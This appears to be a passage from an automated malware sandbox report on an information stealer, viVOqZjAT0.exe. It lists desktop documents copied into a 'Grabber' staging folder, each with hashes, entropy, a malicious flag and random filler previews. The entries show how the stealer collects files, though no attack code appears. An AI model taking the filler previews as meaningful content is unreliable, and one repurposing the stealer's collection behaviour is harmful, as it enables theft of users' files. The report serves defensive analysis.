Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	true
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	true
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	true
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
